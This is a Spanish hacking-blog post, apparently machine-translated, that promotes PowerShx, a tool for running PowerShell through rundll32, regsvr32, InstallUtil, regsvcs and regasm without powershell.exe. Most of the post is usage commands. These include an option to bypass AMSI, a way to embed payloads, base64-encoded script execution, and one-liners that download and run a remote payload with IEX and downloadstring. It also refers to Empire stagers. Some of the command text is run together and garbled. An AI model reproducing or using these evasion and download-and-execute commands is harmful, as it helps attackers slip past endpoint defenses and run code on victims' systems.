inHacker
byHelen Lafayetteoctubre 13, 2021, 8:30 pm
Ejecución de PowerShell no administrada mediante DLL o un ejecutable independiente.
Introducción
PowerShx es una reescritura y extensión del proyecto PowerShdll. PowerShx proporciona funcionalidad para omitir AMSI y ejecutar cmdlets PS.
caracteristicas
- Ejecute Powershell con DLL utilizando rundll32.exe, installutil.exe, regsvcs.exe o regasm.exe, regsvr32.exe.
- Ejecute Powershell sin powershell.exe o powershell_ise.exe
- Funciones de derivación AMSI.
- Ejecute scripts de Powershell directamente desde la línea de comandos o archivos de Powershell
- Importe módulos de Powershell y ejecute cmdlets de Powershell.
propósito de uso
.dll versión
rundll32
rundll32 PowerShx.dll,main -f Run the script passed as argument rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet rundll32 PowerShx.dll,main -w Start an interactive console in a new window rundll32 PowerShx.dll,main -i Start an interactive console rundll32 PowerShx.dll,main -s Attempt to bypass AMSI rundll32 PowerShx.dll,main -v Print Execution Output to the console «>
rundll32 PowerShx.dll,main -e <PS script to run>rundll32 PowerShx.dll,main -f <path> Run the script passed as argumentrundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdletrundll32 PowerShx.dll,main -w Start an interactive console in a new windowrundll32 PowerShx.dll,main -i Start an interactive consolerundll32 PowerShx.dll,main -s Attempt to bypass AMSIrundll32 PowerShx.dll,main -v Print Execution Output to the console
Alternativas (crédito a SubTee por estas técnicas):
Calls DllUnregisterServer regsvr32 /s PowerShx.dll –> Calls DllRegisterServer «>
1. x86 - C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dllx64 - C:WindowsMicrosoft.NETFramework64v4.0.3031964InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll2. x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe PowerShx.dllx64 C:WindowsMicrosoft.NETFramework64v4.0.30319regsvcs.exe PowerShx.dll3. x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U PowerShx.dllx64 C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U PowerShx.dll4. regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServerregsvr32 /s PowerShx.dll --> Calls DllRegisterServer
versión .exe
PowerShx.exe -f Run the script passed as argument PowerShx.exe -f -c Load a script and run a PS cmdlet PowerShx.exe -s Attempt to bypass AMSI. «>
PowerShx.exe -i Start an interactive consolePowerShx.exe -e <PS script to run>PowerShx.exe -f <path> Run the script passed as argumentPowerShx.exe -f <path> -c <PS Cmdlet> Load a script and run a PS cmdletPowerShx.exe -s Attempt to bypass AMSI.
Cargas útiles integradas
Las cargas útiles se pueden incrustar actualizando el diccionario de datos «Common.Payloads.PayloadDict» en el proyecto «Common» y llamándolo en el método PsSession.cs -> Handle (). Ejemplo: en el método Handle ():
private void Handle(Options options){// Pre-execution before user script_ps.Exe(Payloads.PayloadDict["amsi"]);}
Ejemplos de
Ejecute un script codificado en base64
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iexPowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: Empire stagers se deben descifrar con [System.Text.Encoding]:: Unicode
Ejecute un script codificado en base64
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
requisitos
.NET 4
problemas conocidos
Algunos errores no parecen aparecer en la salida. Puede resultar confuso, ya que los comandos como Import-Module no devuelven un error en caso de error. Asegúrese de escribir sus comandos correctamente.
En el modo DLL, el modo interactivo y la salida del comando dependen de la consola del proceso principal que está siendo secuestrado. Si el proceso principal no tiene una consola, use el modificador -n para ocultar la salida; de lo contrario, la aplicación fallará.
Debido a la forma en que Rundll32 maneja los argumentos, el uso de varios espacios entre modificadores y argumentos puede causar problemas. Varios espacios dentro de los scripts están bien.
ejecutePowershellrestriccionessinsoftware
Índice de contenido
Newsletter
What do you think?
0 Points Upvote Downvote
You May Also Like
- Trending byHelen Lafayetteoctubre 23, 2021, 8:30 pm
- Trending byHelen Lafayetteoctubre 23, 2021, 4:25 pm
- byHelen Lafayetteoctubre 23, 2021, 9:23 am
- byHelen Lafayetteoctubre 22, 2021, 8:30 pm
- byHelen Lafayetteoctubre 22, 2021, 9:30 am
- byHelen Lafayetteoctubre 21, 2021, 5:52 pm
Reply with GIF
GIPHY App Key not set. Please check settings
Don’t Miss
- Hot Popular byHelen Lafayetteoctubre 8, 2021, 1:41 pm
- Hot Popular byHelen Lafayetteoctubre 13, 2021, 1:06 pm
- Hot Popular byAlan Kimoctubre 15, 2021, 10:26 pm
- Hot Popular byAlan Kimoctubre 6, 2021, 1:13 pm
- Hot Popular byHelen Lafayetteoctubre 10, 2021, 11:30 am
- Hot Popular byHelen Lafayetteoctubre 13, 2021, 12:53 pm